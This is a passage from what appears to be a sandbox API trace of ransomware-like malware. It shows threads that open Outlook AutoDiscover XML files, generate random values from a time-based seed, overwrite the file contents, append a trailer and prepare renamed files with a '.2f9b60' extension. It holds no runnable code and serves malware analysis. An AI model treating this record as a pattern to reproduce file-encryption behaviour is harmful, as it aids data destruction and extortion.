RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0230.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0230.477] NtQuerySystemTime (in: CurrentTime=0x2f6df7e0 | out: CurrentTime=0x2f6df7e0*=132462178344754000) returned 0x0 [0230.477] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x775f8430 [0230.477] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x5338cfb7 [0230.477] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x4957cb90 [0230.477] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x4b4c932a [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x255d9984 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x14b988f9 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x6e0f3fa6 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x68394c91 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0xeae6656 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x56a77bbb [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x6066dbc2 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x3ad15f54 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x70fcaae0 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x7f80286b [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x531da6f5 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0xa051482 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x8d125c9 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x2bf89d83 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x1b48b453 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x7dcb2b7f [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x553bea [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x53e6e86a [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x7df995d9 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x3bf233b8 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x5837c6c1 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x21e24d03 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0xeae6656 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x802758c [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x24737670 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x1cb96cdb [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x78eb305 [0230.478] RtlRandomEx (in: Seed=0x2f6df7d0 | out: Seed=0x2f6df7d0) returned 0x6fb3b058 [0230.485] ReadFile (in: hFile=0x1a60, lpBuffer=0x423d0190, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2f6df7d0, lpOverlapped=0x0 | out: lpBuffer=0x423d0190*, lpNumberOfBytesRead=0x2f6df7d0*=0x32a, lpOverlapped=0x0) returned 1 [0230.485] SetFilePointerEx (in: hFile=0x1a60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.485] WriteFile (in: hFile=0x1a60, lpBuffer=0x423d3da0*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2f6df7d4, lpOverlapped=0x0 | out: lpBuffer=0x423d3da0*, lpNumberOfBytesWritten=0x2f6df7d4*=0x32a, lpOverlapped=0x0) returned 1 [0233.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619d0 [0233.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261760 [0233.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261760) returned 1 [0233.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d3da0) returned 1 [0233.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d0190) returned 1 [0233.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8683c0) returned 1 [0233.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0233.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261760 [0233.748] SetFilePointerEx (in: hFile=0x1a60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.748] WriteFile (in: hFile=0x1a60, lpBuffer=0x42c14ab0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f6df8f0, lpOverlapped=0x0 | out: lpBuffer=0x42c14ab0*, lpNumberOfBytesWritten=0x2f6df8f0*=0x10a, lpOverlapped=0x0) returned 1 [0235.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0235.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40d0) returned 1 [0235.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0235.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7100 [0235.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7100) returned 1 [0235.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431adce0 [0235.872] sprintf (in: _Dest=0x431adce0, _Format="%c%c" | out: _Dest="a5") returned 2 [0235.872] sprintf (in: _Dest=0x431adce2, _Format="%c%c" | out: _Dest="30") returned 2 [0235.872] sprintf (in: _Dest=0x431adce4, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.872] sprintf (in: _Dest=0x431adce6, _Format="%c%c" | out: _Dest="42") returned 2 [0235.872] sprintf (in: _Dest=0x431adce8, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.872] sprintf (in: _Dest=0x431adcea, _Format="%c%c" | out: _Dest="b9") returned 2 [0235.872] sprintf (in: _Dest=0x431adcec, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.872] sprintf (in: _Dest=0x431adcee, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.872] sprintf (in: _Dest=0x431adcf0, _Format="%c%c" | out: _Dest="74") returned 2 [0235.872] sprintf (in: _Dest=0x431adcf2, _Format="%c%c" | out: _Dest="39") returned 2 [0235.872] sprintf (in: _Dest=0x431adcf4, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.872] sprintf (in: _Dest=0x431adcf6, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.872] sprintf (in: _Dest=0x431adcf8, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.872] sprintf (in: _Dest=0x431adcfa, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.872] sprintf (in: _Dest=0x431adcfc, _Format="%c%c" | out: _Dest="11") returned 2 [0235.872] sprintf (in: _Dest=0x431adcfe, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.872] sprintf (in: _Dest=0x431add00, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.873] sprintf (in: _Dest=0x431add02, _Format="%c%c" | out: _Dest="86") returned 2 [0235.873] sprintf (in: _Dest=0x431add04, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.873] sprintf (in: _Dest=0x431add06, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.873] sprintf (in: _Dest=0x431add08, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.873] sprintf (in: _Dest=0x431add0a, _Format="%c%c" | out: _Dest="07") returned 2 [0235.873] sprintf (in: _Dest=0x431add0c, _Format="%c%c" | out: _Dest="97") returned 2 [0235.873] sprintf (in: _Dest=0x431add0e, _Format="%c%c" | out: _Dest="50") returned 2 [0235.873] RtlInitAnsiString (in: DestinationString=0x2f6df968, SourceString="a530a7425eb9f9d27439d93aea6f11ed8f866d9d3b079750" | out: DestinationString="a530a7425eb9f9d27439d93aea6f11ed8f866d9d3b079750") [0235.873] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f6df938, SourceString="a530a7425eb9f9d27439d93aea6f11ed8f866d9d3b079750", AllocateDestinationString=1 | out: DestinationString="a530a7425eb9f9d27439d93aea6f11ed8f866d9d3b079750") returned 0x0 [0235.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310ebf0 [0235.873] wcscat (in: _Dest=0x1ce16c90, _Source="a530a7425eb9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9" [0235.874] wcscat (in: _Dest=0x1ce16c90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9.2f9b60" [0235.874] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9.2f9b60", NtPathName=0x2f6df910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\a530a7425eb9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205fb80 Thread: id = 3843 os_tid = 0x157c [0227.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml")) returned 0x20 [0229.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML", dwFileAttributes=0x20) returned 1 [0229.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.it.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x19f0 [0229.315] GetFileSizeEx (in: hFile=0x19f0, lpFileSize=0x2fedfd60 | out: lpFileSize=0x2fedfd60*=804) returned 1 [0229.315] SetFilePointerEx (in: hFile=0x19f0, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.315] ReadFile (in: hFile=0x19f0, lpBuffer=0x2fedfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fedfd28, lpOverlapped=0x0 | out: lpBuffer=0x2fedfce0*, lpNumberOfBytesRead=0x2fedfd28*=0x4, lpOverlapped=0x0) returned 1 [0230.544] SetFilePointerEx (in: hFile=0x19f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261310 [0230.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e50 [0230.545] NtQuerySystemTime (in: CurrentTime=0x2fedfc20 | out: CurrentTime=0x2fedfc20*=132462178345378000) returned 0x0 [0230.545] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x2e6f460a [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x4e6f34a7 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x9f4585b [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0xfcd35a [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x6e39236f [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x6a1d1785 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1e6b712f [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x58c14b53 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3a1ad403 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3cb4260b [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3ffb81e6 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x41b5e17 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x36136225 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x304903fd [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x74f91b6b [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1c8e941b [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x41b5e17 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x62977d40 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1addb7f3 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x6bd341f9 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3c82a6e5 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x602f2df5 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x66586cf8 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1c8596b [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1856c817 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x49e5ee22 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3b5552f5 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1ebdce72 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x78e1336d [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x3e41c3f2 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x4d1af491 [0230.546] RtlRandomEx (in: Seed=0x2fedfc10 | out: Seed=0x2fedfc10) returned 0x1293845f [0230.555] ReadFile (in: hFile=0x19f0, lpBuffer=0x423e69f0, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x2fedfc10, lpOverlapped=0x0 | out: lpBuffer=0x423e69f0*, lpNumberOfBytesRead=0x2fedfc10*=0x324, lpOverlapped=0x0) returned 1 [0230.555] SetFilePointerEx (in: hFile=0x19f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.555] WriteFile (in: hFile=0x19f0, lpBuffer=0x423c4d60*, nNumberOfBytesToWrite=0x324, lpNumberOfBytesWritten=0x2fedfc14, lpOverlapped=0x0 | out: lpBuffer=0x423c4d60*, lpNumberOfBytesWritten=0x2fedfc14*=0x324, lpOverlapped=0x0) returned 1 [0233.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0233.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d70 [0233.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d70) returned 1 [0233.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c4d60) returned 1 [0233.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423e69f0) returned 1 [0233.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8666c0) returned 1 [0233.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97940) returned 1 [0233.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263d70 [0233.782] SetFilePointerEx (in: hFile=0x19f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.782] WriteFile (in: hFile=0x19f0, lpBuffer=0x431f15c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2fedfd30, lpOverlapped=0x0 | out: lpBuffer=0x431f15c0*, lpNumberOfBytesWritten=0x2fedfd30*=0x10a, lpOverlapped=0x0) returned 1 [0235.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f10 [0235.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261f10) returned 1 [0235.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f10 [0235.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d90 [0235.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d90) returned 1 [0235.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad320 [0235.918] sprintf (in: _Dest=0x431ad320, _Format="%c%c" | out: _Dest="12") returned 2 [0235.918] sprintf (in: _Dest=0x431ad322, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.918] sprintf (in: _Dest=0x431ad324, _Format="%c%c" | out: _Dest="10") returned 2 [0235.918] sprintf (in: _Dest=0x431ad326, _Format="%c%c" | out: _Dest="54") returned 2 [0235.918] sprintf (in: _Dest=0x431ad328, _Format="%c%c" | out: _Dest="e8") returned 2 [0235.918] sprintf (in: _Dest=0x431ad32a, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.918] sprintf (in: _Dest=0x431ad32c, _Format="%c%c" | out: _Dest="ac") returned 2 [0235.918] sprintf (in: _Dest=0x431ad32e, _Format="%c%c" | out: _Dest="34") returned 2 [0235.918] sprintf (in: _Dest=0x431ad330, _Format="%c%c" | out: _Dest="38") returned 2 [0235.918] sprintf (in: _Dest=0x431ad332, _Format="%c%c" | out: _Dest="bf") returned 2 [0235.918] sprintf (in: _Dest=0x431ad334, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.918] sprintf (in: _Dest=0x431ad336, _Format="%c%c" | out: _Dest="16") returned 2 [0235.918] sprintf (in: _Dest=0x431ad338, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.918] sprintf (in: _Dest=0x431ad33a, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.918] sprintf (in: _Dest=0x431ad33c, _Format="%c%c" | out: _Dest="82") returned 2 [0235.918] sprintf (in: _Dest=0x431ad33e, _Format="%c%c" | out: _Dest="cf") returned 2 [0235.918] sprintf (in: _Dest=0x431ad340, _Format="%c%c" | out: _Dest="ed") returned 2 [0235.918] sprintf (in: _Dest=0x431ad342, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.918] sprintf (in: _Dest=0x431ad344, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.918] sprintf (in: _Dest=0x431ad346, _Format="%c%c" | out: _Dest="26") returned 2 [0235.918] sprintf (in: _Dest=0x431ad348, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.918] sprintf (in: _Dest=0x431ad34a, _Format="%c%c" | out: _Dest="e9") returned 2 [0235.918] sprintf (in: _Dest=0x431ad34c, _Format="%c%c" | out: _Dest="e1") returned 2 [0235.918] sprintf (in: _Dest=0x431ad34e, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.918] RtlInitAnsiString (in: DestinationString=0x2fedfda8, SourceString="12a01054e86dac3438bf7d160cb382cfedd14e26fae9e1d1" | out: DestinationString="12a01054e86dac3438bf7d160cb382cfedd14e26fae9e1d1") [0235.918] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fedfd78, SourceString="12a01054e86dac3438bf7d160cb382cfedd14e26fae9e1d1", AllocateDestinationString=1 | out: DestinationString="12a01054e86dac3438bf7d160cb382cfedd14e26fae9e1d1") returned 0x0 [0235.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310ee90 [0235.920] wcscat (in: _Dest=0x1ce183f0, _Source="12a01054e86d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d" [0235.920] wcscat (in: _Dest=0x1ce183f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d.2f9b60" [0235.920] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d.2f9b60", NtPathName=0x2fedfd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\12a01054e86d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205ec10 Thread: id = 3844 os_tid = 0x158c [0227.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml")) returned 0x20 [0229.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML", dwFileAttributes=0x20) returned 1 [0229.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.jp.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x790 [0229.301] GetFileSizeEx (in: hFile=0x790, lpFileSize=0x2f1ef940 | out: lpFileSize=0x2f1ef940*=817) returned 1 [0229.301] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x32d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.301] ReadFile (in: hFile=0x790, lpBuffer=0x2f1ef8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f1ef908, lpOverlapped=0x0 | out: lpBuffer=0x2f1ef8c0*, lpNumberOfBytesRead=0x2f1ef908*=0x4, lpOverlapped=0x0) returned 1 [0230.564] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0230.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202622d0 [0230.565] NtQuerySystemTime (in: CurrentTime=0x2f1ef800 | out: CurrentTime=0x2f1ef800*=132462178345534000) returned 0x0 [0230.565] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x5e14b24b [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x37f3a97e [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1aadeabf [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x193fd741 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x154fd76e [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x376ead8c [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x67fc3f94 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x7af65859 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x2189391f [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x6b62bf38 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x32a31922 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x32ec4ab2 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1f6038b7 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x3bb2dd2d [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1231abd6 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x1bb8585b [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x70167bf [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x5b577347 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0xb46b890 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x16d20374 [0230.566] RtlRandomEx (in: Seed=0x2f1ef7f0 | out: Seed=0x2f1ef7f0) returned 0x44d4a919 [0230.566] RtlRandomEx (in: 